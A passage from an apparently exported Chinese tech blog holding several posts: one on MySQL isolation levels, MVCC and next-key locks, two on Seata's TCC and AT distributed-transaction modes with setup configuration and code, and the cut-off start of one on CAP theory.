执行也会被当成一个事务自动提交，那么无论是多条SQL并发，还是多个自己手动组织的包含多条SQL的事务并发，都会导致事务并发问题。\n具体来说有：\n脏写 （一个事务提交的数据覆盖了另一个事务未提交的数据） 脏读 （一个事务读取到另一个事务未提交的数据） 不可重复读 （重点在于update和delete 一个事务内多次读取的数据不一样） 幻读 （重点在于insert 一个事务内多次读取的记录数不一样） 上面我们提到了事务的隔离级别，MySQL 的所有隔离级别都能保证不产生脏写，所以就剩下脏读、不可重复读和幻读的问题了。\n下面具体看下各隔离级别是如何解决或未解决上面这些问题的：\nRead uncommitted 未提交读，这个级别在读的过程中不会加任何锁，只在写请求时加锁，所以写操作在读的过程中修改数据，就会造成脏读。也自然会产生不可重复读和幻读。\nRead committed 已提交读，与未提交读一样也是读不加锁，写加锁。不一样的是利用了 MVCC 机制避免了脏读的问题，同样会有不可重复读和幻读的问题。关于 MVCC 我们后面会详细说。\nRepeatable read MySQL 默认的隔离级别，在这个级别 MySQL利用两种方式解决问题\n读写锁 读读并行时加读锁，读读是共享锁的。只要有写请求就加写锁，这样读写是串行的。读取数据时加锁，其它事务无法修改这些数据。所以不会产生不可重复读。修改删除数据时也要加锁，其它事务无法读取这些数据，所以不会产生脏读。第一种方式就是我们常说的 “悲观锁”，数据在整个事务处理过程中处于锁定状态，比较保守，性能开销比较大。 MVCC （后面讲） 此外还利用了Next-Key锁 在一定程度上解决了幻读的问题。关于这个我们后面再说。\nSerializable 在该隔离级别下事务都是串行顺序执行的。如果禁用了自动提交，则 InnoDB 会将所有普通的 SELECT 语句隐式转换为 SELECT \u0026hellip; LOCK IN SHARE MODE。即给读操作隐式加一把读共享锁，从而避免了脏读、不可重读复读和幻读问题。\nMVCC “\nMultiversion concurrency control (MCC or MVCC), is a concurrency control method commonly used by database management systems to provide concurrent access to the database and in programming languages to implement transactional memory\n”\n翻译过来就是：多版本并发控制（MCC或MVCC）是一种并发控制方法，通常被数据库管理系统用来提供对数据库的并发访问，并以编程语言来实现事务存储。\n简单来说就是数据库用来控制并发的一种方法。每个数据库对于 MVCC 的实现可能不一样。\n以我们常用的 MySQL 来说，MySQL 的 InnoDB 引擎实现了 MVCC 。\nMVCC 能解决什么问题 从上面的定义我们能看出，MVCC 主要解决事务并发时数据一致性的问题\nInnoDB 是如何实现的 MVCC 下面这个图来自《高性能MySQL》(第3版)\n这本书写的很好，翻译的也不错，我对于 MySQL 最初的系统性认识也是因为读了这本书，然而在对于 MVCC 是如何实现的讲述上，个人认为是有些问题的。\n来看下哪里有问题\n首先看下 MySQL 的官方文档，我对比了 5.1、5.6、5.7 三个版本的 文档[1] ，对 MVCC 这部分的描述，几乎是相同的。\n根据文档很明显是在每条数据增加三个隐藏列：\n6字节的 DB_TRX_ID 字段，表示最近一次插入或者更新该记录的事务ID。 7字节的 DB_ROLL_PTR 字段，指向该记录的 rollback segment 的 undo log 记录。 6字节的 DB_ROW_ID，当有新数据插入的时候会自动递增。当表上没有用户主键的时候，InnoDB会自动产生聚集索引，包含DB_ROW_ID字段。 这里我补充一张包含 rollback segment 的 MySQL 内部结构图\n版本链\n之前我们讲过 undo_log 的概念，每条 undo日志都有一个 roll_pointer 属性，那么所有的版本都会被 roll_pointer 属性连接成一个链表，我们把这个链表称之为版本链，版本链的头节点就是当前记录最新的值。\nReadView\n通过隐藏列和版本链，MySQL 可以将数据恢复到指定版本；但是具体要恢复到哪个版本，则需要根据 ReadView 来确定。所谓 ReadView，是指事务（记作事务A）在某一时刻给整个事务系统（trx_sys）打快照，之后再进行读操作时，会将读取到的数据中的事务 id 与 trx_sys 快照比较，从而判断数据对该 ReadView 是否可见，即对事务A是否可见。（参考[2]）\n至此我们发现 MVCC 就是基于隐藏字段、undo_log 链和 ReadView 来实现的。\nRead committed 中的 MVCC 前面我们讲过 Read committed 隔离级别中使用 MVCC 解决脏读问题。这里我参考了两篇文章：\nhttps://cloud.tencent.com/developer/article/1150633 https://cloud.tencent.com/developer/article/1150630 InnoDB只会查找版本早于当前事务版本的数据行（也就是，行的版本号小于或是等于事务的系统版本号），这样可以确保数据读取的行，要么是在事务开始前已经存在的，要么是事务自身插入或修改过的。因此不会产生脏读。\nRead committed 隔离级别下出现不可重复读是由于 read view 的生成机制造成的。在 Read committed 级别下，只要当前语句执行前已经提交的数据都是可见的。在每次语句执行的过程中，都关闭 read view, 重新创建当前的一份 read view。这样就可以根据当前的全局事务链表创建 read view 的事务区间。简单说就是在 Read committed 隔离级别下，MVCC 在每次 select 时生成一个快照版本，所以每次 select 都会读到不同的版本数据，所以会产生不可重复读。\nRepeatable read 中的 MVCC Repeatable read 隔离级别解决了不可重复读的问题，一个事务中多次读取不会出现不同的结果，保证了可重复读。前文中我们说 Repeatable read 有两种实现方式，一种是悲观锁的方式，相对的 MVCC 就是乐观锁的方式。\nRepeatable read 隔离级别能解决不可重复读根本原因其实就是 read view 的生成机制和 Read committed 不同。\nRead committed ：只要是当前语句执行前已经提交的数据都是可见的。 Repeatable read ：只要是当前事务执行前已经提交的数据都是可见的。 不像 Read committed，在 Repeatable read 的隔离级别下，创建事务的时候，就生成了当前的 global read view,一直维持到事务结束。这样就能实现可重复读。\n幻读与 Next-Key 锁 当前读与快照读 通过 MVCC 机制，虽然让数据变得可重复读，但我们读到的数据可能是历史数据，是不及时的数据，不是数据库当前的数据！对于这种读取历史数据的方式，我们叫它快照读 (snapshot read)，而读取数据库当前版本数据的方式，叫当前读 (current read) 参考[3]\n快照读：就是select\nselect * from table ….;\n当前读：特殊的读操作，插入/更新/删除操作，属于当前读，处理的都是当前的数据，需要加锁。\nselect * from table where ? lock in share mode;\nselect * from table where ? for update;\ninsert;\nupdate ;\ndelete;\n解决幻读 为了解决当前读中的幻读问题，MySQL事务使用了 next-key lock 。\nRepeatable read 通过 next-key lock 机制避免了幻读现象。\nInnoDB存储引擎有3种行锁的算法，分别是：\nRecord Lock: 单个记录上的锁 Gap Lock: 间隙锁，锁定一个范围，但不包括记录本上 Next-Key Lock: Gap Lock + Record Lock next-key lock 是行锁的一种，实现相当于 record lock(记录锁) + gap lock(间隙锁)；其特点是不仅会锁住记录本身( record lock 的功能)，还会锁定一个范围( gap lock 的功能)。\n当InnoDB扫描索引记录的时候，会首先对索引记录加上行锁（Record Lock），再对索引记录两边的间隙加上间隙锁（Gap Lock）。加上间隙锁之后，其他事务就不能在这个间隙修改或者插入记录。\n当查询的索引含有唯一属性的时候，Next-Key Lock 会进行优化，将其降级为Record Lock，即仅锁住索引本身，不是范围。\n下图引用自 云栖社区[4]\n参考资料 [1]\nmysql 5.7文档: https://dev.mysql.com/doc/refman/5.7/en/innodb-multi-versioning.html\n[2]\n参考博客: https://www.cnblogs.com/kismetv/p/10331633.html\n[3]\n美团技术博客: https://tech.meituan.com/2014/08/20/innodb-lock.html\n[4]\n云栖社区: https://yq.aliyun.com/articles/108095\n关注公众号 获取更多精彩内容\n","date":"2020-11-03T16:13:15Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-11-03-wo-dui-mysql-suo-shi-wu-mvcc-de-yi-xie-ren-shi/cover.jpg","permalink":"/p/2020-11-03-wo-dui-mysql-suo-shi-wu-mvcc-de-yi-xie-ren-shi/","title":"我对 MySQL 锁、事务、MVCC 的一些认识"},{"content":"分布式事务：从理论到实践（三） 分布式事务：从理论到实践（一） 分布式事务：从理论到实践（二）\n接着前面两篇说，下面我们继续对 Seata 的 TCC 模式进行讨论。\nTCC 原理回顾 简单回顾一下TCC的原理 参考 蚂蚁金服的博客[1]\n正常事务逻辑\ntry cancel 或 confirm 允许空回滚\n1 未正常 try 2 执行了空 cancel\nTCC 服务在未收到 Try 请求的情况下收到 Cancel 请求，这种场景被称为空回滚；空回滚在生产环境经常出现，用户在实现TCC服务时，应允许允许空回滚的执行，即收到空回滚时返回成功。\n防悬挂控制\ntry超时 cancel成功 try重试 Confirm 或者 Cancel 永远不会得到执行，造成悬挂。 此外，除了上面这些，和AT一样，还是要注意幂等的控制。\n代码实现 先讲下抽象流程和注意事项\n首先定义事务接口，接口中就是你的tcc三个方法，对应代码中的prepare、commit、rollback。 注意加@LocalTCC 注解（必要），适用于SpringCloud+Feign模式下的TCC @TwoPhaseBusinessAction（必要） 注解try方法，name 一般写方法名就行，注意全局唯一，commitMethod对应提交方法名，rollbackMethod对应回滚方法名。 BusinessActionContext 就是 seata tcc 的事务上下文，用于存放 tcc 事务的一些关键数据。BusinessActionContext 对象可以直接作为 commit 方法和 rollbakc 方法的参数，Seata 会自动注入参数: @BusinessActionContextParameter 该注解用来修饰 Try 方法的入参，被修饰的入参可以在 Commit 方法和 Rollback 方法中通过 BusinessActionContext 获取 我们根据 官方的例子[2]用一个业务场景串一下。\n这是一个转账的操作：\n接口定义：\n在事务调用入口加入 @GlobalTransactional\n先让扣钱参与者准备扣钱，如果失败，则回滚本地和分布式事务\n看下扣钱的try方法实现：\n再让加钱参与者准备加钱，如果失败，则回滚本地和分布式事务 看下加钱的try方法实现：\n如果上面两步都成功，则会分别调用各自的commit方法，如果方法有异常将会重试firstAction 提交扣钱\nsecondActin 提交加钱\n如果firstAction和secondAction的try方法有异常将会自动调用各自的rollback方法：\n总结 整体来看TCC的模式编码还是比较简单的，不过还是有几点需要注意：\n根据业务设计好tcc的三个方法\n接口幂等\n允许空回滚 比如以订单创建举例，如果try()方法没执行，那么订单一定没创建，所以cancle方法里可以加一个判断，如果上下文中订单编号orderNo不存在或者订单不存在，直接return\nif(orderNo==null || order==null){ return; }\n防悬挂控制 参考[3] ） 可以在二阶段执行时插入一条事务控制记录，状态为已回滚，这样当一阶段执行时，先读取该记录，如果记录存在，就认为二阶段回滚操作已经执行，不再执行try方法。 参考资料 [1]\n蚂蚁金服TCC博客: https://tech.antfin.com/community/articles/519\n[2]\nseata例子: https://github.com/seata/seata-samples\n[3]\nCSDN参考: https://blog.csdn.net/hosaos/article/details/89136666\n关注公众号 获取更多精彩内容\n","date":"2020-10-29T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-29-fen-bu-shi-shi-wu-cong-li-lun-dao-shi-jian-san/cover.jpg","permalink":"/p/2020-10-29-fen-bu-shi-shi-wu-cong-li-lun-dao-shi-jian-san/","title":"分布式事务：从理论到实践（三）"},{"content":"分布式事务：从理论到实践（二） 前文 分布式事务：从理论到实践（一）我们提到了Seata的AT和TCC模式，本文中我们针对这两个模式进行深入分析和开发实践。\nAT 模式 原理回顾 根据 官方文档[1] 及提供的 博客[2] 我们先回顾一下AT模式下分布式事务的原理\nAT 模式的一阶段、二阶段提交和回滚均由 Seata 框架自动生成，用户只需编写“业务 SQL”，便能轻松接入分布式事务，AT 模式是一种对业务无任何侵入的分布式事务解决方案。\n一阶段：在一阶段，Seata 会拦截“业务 SQL”，首先解析 SQL 语义，找到“业务 SQL”要更新的业务数据，在业务数据被更新前，将其保存成“before image”，然后执行“业务 SQL”更新业务数据，在业务数据更新之后，再将其保存成“after image”，最后生成行锁。以上操作全部在一个数据库事务内完成，这样保证了一阶段操作的原子性。\n二阶段提交：二阶段如果是提交的话，因为“业务 SQL”在一阶段已经提交至数据库， 所以 Seata 框架只需将一阶段保存的快照数据和行锁删掉，完成数据清理即可。\n二阶段回滚：二阶段如果是回滚的话，Seata 就需要回滚一阶段已经执行的“业务 SQL”，还原业务数据。回滚方式便是用“before image”还原业务数据；但在还原前要首先要校验脏写，对比“数据库当前业务数据”和 “after image”，如果两份数据完全一致就说明没有脏写，可以还原业务数据，如果不一致就说明有脏写，出现脏写就需要转人工处理。 环境搭建 本文demo使用的环境是基于\nSpringBoot Spring Cloud Alibaba Nacos Apollo docker compose 首先将 seata-server 在服务器搭建起来，由于我们使用 nacos作为seata的注册中心、apollo为注册中心，所以先将这两个组件搭建起来，具体的安装方法请分别参考各自的官方文档。nacos[3] apollo[4]\nnacos 和 apollo 搭起来以后，我们开始搭建 seata-server 以下是 docker-compose 的配置：\n1 2version: \u0026#34;3.1\u0026#34; 3services: 4 seata-server: 5 image: seataio/seata-server:latest 6 hostname: seata-server 7 ports: 8 - 8091:8091 9 environment: 10 - SEATA_PORT=8091 11 - SEATA_IP={你的IP} 12 - SEATA_CONFIG_NAME=file:/seata-server/resources/registry 13 volumes: 14 - ./seata/registry.conf:/seata-server/resources/registry.conf 15 expose: 16 - 8091 修改 registry.conf 配置文件，由于我们使用 nacos 作为注册中心，apollo 作为配置中心，所以需要修改到以下配置：\n1registry { 2 # file 、nacos 、eureka、redis、zk、consul、etcd3、sofa 3 type = \u0026#34;nacos\u0026#34; 4 loadBalance = \u0026#34;RandomLoadBalance\u0026#34; 5 loadBalanceVirtualNodes = 10 6 nacos { 7 application = \u0026#34;seata-server\u0026#34; 8 serverAddr = \u0026#34;你的IP:端口\u0026#34; 9 group = \u0026#34;SEATA_GROUP\u0026#34; 10 namespace = \u0026#34;\u0026#34; 11 cluster = \u0026#34;default\u0026#34; 12 username = \u0026#34;\u0026#34; 13 password = \u0026#34;\u0026#34; 14 } 15} 16 17config { 18 # file、nacos 、apollo、zk、consul、etcd3 19 type = \u0026#34;apollo\u0026#34; 20 apollo { 21 appId = \u0026#34;seata-server\u0026#34; 22 apolloMeta = \u0026#34;http://你的IP:端口\u0026#34; 23 namespace = \u0026#34;application\u0026#34; 24 env= \u0026#34;dev\u0026#34; 25 apolloAccesskeySecret = \u0026#34;\u0026#34; 26 } 27 28} 注意：seata-server 是可以配置数据库存储 seata 所用数据的，我们为了方便利用本地 file 的方式存储数据，所以没有再做数据库的配置。如需修改可以修改配置文件 file.conf\n下面是 file.conf 的默认配置：\n1store { 2 ## store mode: file、db、redis 3 mode = \u0026#34;file\u0026#34; 4 5 ## file store property 6 file { 7 ## store location dir 8 dir = \u0026#34;sessionStore\u0026#34; 9 # branch session size , if exceeded first try compress lockkey, still exceeded throws exceptions 10 maxBranchSessionSize = 16384 11 # globe session size , if exceeded throws exceptions 12 maxGlobalSessionSize = 512 13 # file buffer size , if exceeded allocate new buffer 14 fileWriteBufferCacheSize = 16384 15 # when recover batch read size 16 sessionReloadReadSize = 100 17 # async, sync 18 flushDiskMode = async 19 } 20 21 ## database store property 22 db { 23 ## the implement of javax.sql.DataSource, such as DruidDataSource(druid)/BasicDataSource(dbcp)/HikariDataSource(hikari) etc. 24 datasource = \u0026#34;druid\u0026#34; 25 ## mysql/oracle/postgresql/h2/oceanbase etc. 26 dbType = \u0026#34;mysql\u0026#34; 27 driverClassName = \u0026#34;com.mysql.jdbc.Driver\u0026#34; 28 url = \u0026#34;jdbc:mysql://127.0.0.1:3306/seata\u0026#34; 29 user = \u0026#34;mysql\u0026#34; 30 password = \u0026#34;mysql\u0026#34; 31 minConn = 5 32 maxConn = 100 33 globalTable = \u0026#34;global_table\u0026#34; 34 branchTable = \u0026#34;branch_table\u0026#34; 35 lockTable = \u0026#34;lock_table\u0026#34; 36 queryLimit = 100 37 maxWait = 5000 38 } 39 40 ## redis store property 41 redis { 42 host = \u0026#34;127.0.0.1\u0026#34; 43 port = \u0026#34;6379\u0026#34; 44 password = \u0026#34;\u0026#34; 45 database = \u0026#34;0\u0026#34; 46 minConn = 1 47 maxConn = 10 48 maxTotal = 100 49 queryLimit = 100 50 } 51 52} 启动 nacos、apollo、seata-server\n当显示以下信息时，代表seata-server启动了。\n这时我们查看 nacos ,也注册上了\napollo 中我们添加一个名为 service.vgroup-mapping.demo-service-seata的key ,value为 default,至于这个的作用，我们后面再说。\n我们的 demo 中包含三个服务\ndemo-order demo-storage demo-user 服务间调用使用的是Spring Cloud OpenFeign,除了 SpringBoot 和Spring Cloud 等基础 bom 要依赖外，还需要加入 seata 的依赖，我的pom,大致如下：\n1\u0026lt;properties\u0026gt; 2 \u0026lt;spring-boot-dependencies.version\u0026gt;2.3.2.RELEASE\u0026lt;/spring-boot-dependencies.version\u0026gt; 3 \u0026lt;spring-cloud-dependencies.version\u0026gt;Hoxton.SR8\u0026lt;/spring-cloud-dependencies.version\u0026gt; 4 \u0026lt;spring-cloud-alibaba-dependencies.version\u0026gt;2.2.3.RELEASE\u0026lt;/spring-cloud-alibaba-dependencies.version\u0026gt; 5\u0026lt;/properties\u0026gt; 6 7 \u0026lt;dependencyManagement\u0026gt; 8 \u0026lt;dependencies\u0026gt; 9 \u0026lt;dependency\u0026gt; 10 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 11 \u0026lt;artifactId\u0026gt;spring-boot-starter-parent\u0026lt;/artifactId\u0026gt; 12 \u0026lt;version\u0026gt;${spring-boot-dependencies.version}\u0026lt;/version\u0026gt; 13 \u0026lt;type\u0026gt;pom\u0026lt;/type\u0026gt; 14 \u0026lt;scope\u0026gt;import\u0026lt;/scope\u0026gt; 15 \u0026lt;/dependency\u0026gt; 16 \u0026lt;dependency\u0026gt; 17 \u0026lt;groupId\u0026gt;org.springframework.cloud\u0026lt;/groupId\u0026gt; 18 \u0026lt;artifactId\u0026gt;spring-cloud-dependencies\u0026lt;/artifactId\u0026gt; 19 \u0026lt;version\u0026gt;${spring-cloud-dependencies.version}\u0026lt;/version\u0026gt; 20 \u0026lt;type\u0026gt;pom\u0026lt;/type\u0026gt; 21 \u0026lt;scope\u0026gt;import\u0026lt;/scope\u0026gt; 22 \u0026lt;/dependency\u0026gt; 23 \u0026lt;dependency\u0026gt; 24 \u0026lt;groupId\u0026gt;com.alibaba.cloud\u0026lt;/groupId\u0026gt; 25 \u0026lt;artifactId\u0026gt;spring-cloud-alibaba-dependencies\u0026lt;/artifactId\u0026gt; 26 \u0026lt;version\u0026gt;${spring-cloud-alibaba-dependencies.version}\u0026lt;/version\u0026gt; 27 \u0026lt;type\u0026gt;pom\u0026lt;/type\u0026gt; 28 \u0026lt;scope\u0026gt;import\u0026lt;/scope\u0026gt; 29 \u0026lt;/dependency\u0026gt; 30 \u0026lt;/dependencies\u0026gt; 31 \u0026lt;/dependencyManagement\u0026gt; 32 33 \u0026lt;dependencies\u0026gt; 34 \u0026lt;!-- 实现对 Spring MVC 的自动化配置 --\u0026gt; 35 \u0026lt;dependency\u0026gt; 36 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 37 \u0026lt;artifactId\u0026gt;spring-boot-starter-web\u0026lt;/artifactId\u0026gt; 38 \u0026lt;/dependency\u0026gt; 39 40 \u0026lt;!-- 引入 Spring Cloud Alibaba Seata 相关依赖，使用 Seata 实现分布式事务，并实现对其的自动配置 --\u0026gt; 41 \u0026lt;dependency\u0026gt; 42 \u0026lt;groupId\u0026gt;io.seata\u0026lt;/groupId\u0026gt; 43 \u0026lt;artifactId\u0026gt;seata-spring-boot-starter\u0026lt;/artifactId\u0026gt; 44 \u0026lt;/dependency\u0026gt; 45 46 \u0026lt;dependency\u0026gt; 47 \u0026lt;groupId\u0026gt;com.alibaba.cloud\u0026lt;/groupId\u0026gt; 48 \u0026lt;artifactId\u0026gt;spring-cloud-starter-alibaba-seata\u0026lt;/artifactId\u0026gt; 49 \u0026lt;/dependency\u0026gt; 50 51 \u0026lt;!-- 引入 Spring Cloud Alibaba Nacos Discovery 相关依赖，将 Nacos 作为注册中心，并实现对其的自动配置 --\u0026gt; 52 \u0026lt;dependency\u0026gt; 53 \u0026lt;groupId\u0026gt;com.alibaba.cloud\u0026lt;/groupId\u0026gt; 54 \u0026lt;artifactId\u0026gt;spring-cloud-starter-alibaba-nacos-discovery\u0026lt;/artifactId\u0026gt; 55 \u0026lt;/dependency\u0026gt; 56 57 \u0026lt;!-- 引入 Spring Cloud OpenFeign 相关依赖，使用 OpenFeign 提供声明式调用，并实现对其的自动配置 --\u0026gt; 58 \u0026lt;dependency\u0026gt; 59 \u0026lt;groupId\u0026gt;org.springframework.cloud\u0026lt;/groupId\u0026gt; 60 \u0026lt;artifactId\u0026gt;spring-cloud-starter-openfeign\u0026lt;/artifactId\u0026gt; 61 \u0026lt;/dependency\u0026gt; 62 \u0026lt;/dependencies\u0026gt; 至于项目中所用ORM框架，数据库连接池等就因人而异了，我用的是mybatis-plus和hikari，数据库用的是 mysql5.7。\n针对上面的三个服务分别创建三个数据库，order、user、storage，并在每个库中分别创建一个业务表 t_order、t_user、t_storage 这里就不贴建库表的脚本了，大家可以按照自己的设计自己建，需要注意的是每个库都需要再创建一个 undo_log 表，这是为seata做分布式事务回滚所用。\n1CREATE TABLE `undo_log` ( 2 `id` bigint(20) NOT NULL AUTO_INCREMENT, 3 `branch_id` bigint(20) NOT NULL, 4 `xid` varchar(100) NOT NULL, 5 `context` varchar(128) NOT NULL, 6 `rollback_info` longblob NOT NULL, 7 `log_status` int(11) NOT NULL, 8 `log_created` datetime NOT NULL, 9 `log_modified` datetime NOT NULL, 10 PRIMARY KEY (`id`), 11 UNIQUE KEY `ux_undo_log` (`xid`,`branch_id`) 12) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; 每个服务中 application.yml 中对应 seata 的配置如下\n1 2spring: 3 profiles: 4 active: dev 5 cloud: 6 nacos: 7 discovery: 8 namespace: public 9 password: nacos 10 server-addr: IP:PORT 11 networkInterface: eth1 12 username: nacos 13 14# Seata 配置项，对应 SeataProperties 类 15seata: 16 application-id: ${spring.application.name} # Seata 应用编号，默认为 ${spring.application.name} 17 tx-service-group: demo-service-seata # Seata 事务组编号，用于 TC 集群名 18 # Seata 服务配置项，对应 ServiceProperties 类 19 service: 20 # 虚拟组和分组的映射 21 vgroup-mapping: 22 demo-service-seata: default 23 # Seata 注册中心配置项，对应 RegistryProperties 类 24 registry: 25 type: nacos # 注册中心类型，默认为 file 26 nacos: 27 cluster: default # 使用的 Seata 分组 28 namespace: # Nacos 命名空间 29 serverAddr: 你的IP:端口 # Nacos 服务地址 这里有几点需要注意：\ndemo-service-seata 出现了两次，这两个地方要写成一样\ndemo-service-seata: default\n与我们在 apollo 中配置的要一样\n与 seata-server registry.conf 中 nacos 的 cluster 配置一样。\nnacos 配置 networkInterface: eth1\n这样写是因为服务部署在服务器后用的内网IP注册到了nacos，想配置它用外网地址就改了下走特定网卡。\n解决方案参考：这里[5]例如，使用了Spring cloud alibaba（官方文档）作为Nacos客户端，服务默认获取了内网IP 192.168.1.21,可以通过配置 spring.cloud.inetutils.preferred-networks=10.34.12，使服务获取内网中前缀为10.34.12的IP\n在老版本的 seata 是需要手动设置 DataSourceProxy的 ，参考 官网文档[6] 新版本的默认是自动代理的，不需要再写了。\n至此我们的环境搭建和准备工作就结束了。\n分布式事务具体代码 我们设计这样一个同步的业务流程，创建订单前先扣减库存，再扣减账户余额，然后再创建订单，demo设计上参考了 芋道源码[7]。大致流程如下图：\n通过入口进入orderServicer后，进行上面的三步流程，分别调用两个微服务，再调自己的订单服务，这里注意两点：\n分布式全局事务入口，要添加 @GlobalTransactional 要抛出异常 接下来是扣减库存微服务部分，简单做了下扣减，小于10抛出异常\n然后是账户微服务部分\n最后是订单\n代码都比较简单，有几个点需要注意下\n全局事务的隔离性和本地事务的不是一个概念。 全局事务的隔离级别一定基础上依赖本地事务的隔离级别。因此本地事务的隔离级别只要大于等于seata支持的隔离级别就行，所以一般数据库的默认级别就可以 seata的全局事务注解是@GlobalTransactional，@Transactional 是spring的注解，解决本地事务问题，属于两种不同粒度的事务范畴。 如果要加全局事务就一定要用 @GlobalTransactional。 在一个事务方法上，是可以叠加两个注解的，仅意味着功能的叠加，即：有本地事务的处理，也有全局事务的加持。两者不冲突。 由于在数据库本地事务隔离级别 读已提交（Read Committed） 或以上的基础上，Seata（AT 模式）的默认全局隔离级别是 读未提交（Read Uncommitted） 。\n所以这种隔离性会带来问题(注意这里说的是全局事务)：\n脏读：一个事务读取到另一个事务未提交的数据 解决方案：\n@GlobalLock+@Transactional 注解 + select语句加for update 或\nGlobalTransactional注解+select语句加for update\n脏写：一个事务提交的数据覆盖了另一个事务未提交的数据 解决方案:必须使用@GlobalTransaction\n其实上面这部分，官方文档也写的很清楚，尤其对于隔离性的解析：\n上图有些地方理解起来要注意：\n这里说的事务指的是全局的分布式事务，别想成本地事务了， 关于@GlobalLock,场景是一个是全局分布式事务，另一个不是分布式事务，如果你想让分布式事务不产生“脏读”，那么可以在另一个非分布式事务上加@GlobalLock。 我的测试中事务的正常执行和回滚都没有问题，如果你观察各数据库的 undo_log 表，可能会发现没有数据，但实际情况是数据是插入后又很快清除了，所以你没看到，如果你观察主键的 auto_increment 可以看到一直在增长。由于我用了阿里云的RDS，可以通过SQL洞察看到SQL的执行历史，这里看到sql确实执行过。\nXID是全局事务ID，有时候我们需要获得并进行一些操作，那么可以这样做\n1String xid = RootContext.getXID(); 2RootContext.unbind();//解绑 3//中途做一些与事务无关的事。比如日志服务等等 排除掉，然后 4RootContext.bind(xid);//再绑回来 @GlobalTransactional也有自己的隔离级别和rollback等，可根据业务情况自行设置\n1package io.seata.spring.annotation; 2 3import io.seata.tm.api.transaction.Propagation; 4import java.lang.annotation.ElementType; 5import java.lang.annotation.Inherited; 6import java.lang.annotation.Retention; 7import java.lang.annotation.RetentionPolicy; 8import java.lang.annotation.Target; 9 10@Retention(RetentionPolicy.RUNTIME) 11@Target({ElementType.METHOD, ElementType.TYPE}) 12@Inherited 13public @interface GlobalTransactional { 14 int timeoutMills() default 60000; 15 16 String name() default \u0026#34;\u0026#34;; 17 18 Class\u0026lt;? extends Throwable\u0026gt;[] rollbackFor() default {}; 19 20 String[] rollbackForClassName() default {}; 21 22 Class\u0026lt;? extends Throwable\u0026gt;[] noRollbackFor() default {}; 23 24 String[] noRollbackForClassName() default {}; 25 26 Propagation propagation() default Propagation.REQUIRED; 27} AT 总结 再次强调AT模式是自动的，它自动帮你做回滚和提交，使用时考虑跟自己的实际业务场景是否适合。\n例子中我对执行事务的方法并没有做幂等，在实际生产情况下，一定会出现问题的，所以大家在用的时候要注意做接口幂等处理。\n有关更多seata的参数配置，如超时，重试次数等。请参考 官网[8] 。这里当然要结合你的feign的重试和超时时间整体考虑。\n通过上文的描述我们利用一个例子将AT模式的全局分布式事务模拟了出来，也总结了一些比较难理解和需要注意的点，希望能够帮助到正在使用seata的小伙伴。\n参考资料 [1]\nseata官方文档: http://seata.io/zh-cn/docs/overview/what-is-seata.html\n[2]\n分布式事务 Seata 及其三种模式详解: http://seata.io/zh-cn/blog/seata-at-tcc-saga.html\n[3]\nnacos官方文档: https://nacos.io/zh-cn/\n[4]\napollo的github地址: https://github.com/ctripcorp/apollo\n[5]\n解决nacos注册内网地址问题: https://www.cnblogs.com/liboware/p/11973321.html\n[6]\n官网文档: http://seata.io/zh-cn/docs/user/configurations.html\n[7]\n芋道源码: http://www.iocoder.cn/Spring-Cloud-Alibaba/Seata/\n[8]\n官网参数配置: http://seata.io/zh-cn/docs/user/configurations.html\n关注公众号 获取更多精彩内容\n","date":"2020-10-29T04:47:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-29-fen-bu-shi-shi-wu-cong-li-lun-dao-shi-jian-er/cover.jpg","permalink":"/p/2020-10-29-fen-bu-shi-shi-wu-cong-li-lun-dao-shi-jian-er/","title":"分布式事务：从理论到实践（二）"},{"content":"分布式事务：从理论到实践（一） 从集中式到分布式 20世纪60年代大型主机被发明出来，凭借其安全性和稳定性的表现成为主流。但从20世纪80年代以来，计算机系统向网络化和微型化的发展日趋明显，传统的集中式处理模式越来越不能适应人们的需求。\n集中式最明显的问题就是单点。\n随着PC机性能的不断提升和网络技术的快速普及，大型主机的市场份额变得越来越小，很多企业开始放弃原来的大型主机，而改用小型机和普通PC服务器来搭建分布式计算机。\n分布式 什么是分布式系统？\n“\n分布式系统是一个硬件或软件组件分布在不同的网络计算机上，彼此之间仅仅通过消息传递进行通信和协调的系统。\n”\n一个标准的分布式系统会有以下特征：\n分布性（多台计算机在空间上随意分布） 对等性（副本是分布式系统最常见的概念之一） 并发性 缺乏全局时钟（缺乏一个全局的时钟序列控制） 故障总是发生 从集中式向分布式演变的过程中，必然引入了网络因素，而由于网络本身的不可靠性也引入额外的问题：\n通信异常 网络分区（俗称：“脑裂”） 节点故障 虽然问题多多，但总有办法解决，就像解题有公式一样，分布式也有相应的理论支撑，比如：CAP定理和BASE理论。\nCAP “\n2000年7月，加州大学伯克利分校的Eric Brewer教授在ACM PODC会议上提出CAP猜想。2年后，麻省理工学院的Seth Gilbert和Nancy Lynch从理论上证明了CAP。之后，CAP理论正式成为分布式计算领域的公认定理。\n”\nCAP定理告诉我们:一个分布式系统不可能同时满足一致性(C:Consistency),可用性(A:Availability)和分区容错性(P:Partition tolerance)这三个基本要求，最多只能同时满足其中的两项。\n-w403\n一致性 每次读取都能读到最新的写入或错误，等同于所有节点访问同一份最新的数据副本。\n可用性 每个请求都会收到一个（非错误）响应，但不能保证它包含最新的写操作。\n分区容错性 尽管节点之间的网络丢弃或延迟了任意数量的消息，但系统仍继续运行。\n当网络分区发生故障时，我们应该决定\n取消操作，从而降低可用性，但确保一致性 继续进行操作，从而提供可用性，但存在不一致风险 举例子： 以下是一个有3个结点的系统拓扑：\n分布式系统在遇到任何网络分区故障的时候，仍然需要能够保证对外提供满足一致性和可用性的服务，除非是整个网络环境都发生了故障。\n假设 M到S1的通信失败，或S1结点挂了，那么就有S1、M和S2这两个分区。\n在这种情况下，我们是要容忍的，也就是说在这种情况下，系统还是要能提供服务的，不能因为这样的分区问题整体不能提供服务了。\n根据CAP定理所得，CAP只能取其二，我们已经保证了P，那么就只能在C和A之间做选择。\n选择AP，保证可用性 即让S1、M和S2这两个分区同时提供服务，保证系统的可用，但问题很明显，由于数据不能在M和S1之间同步，而一致性要求每次读取都能读到最新的写入或错误，所以无法保证数据一致性。\n选择CP，保证一致性 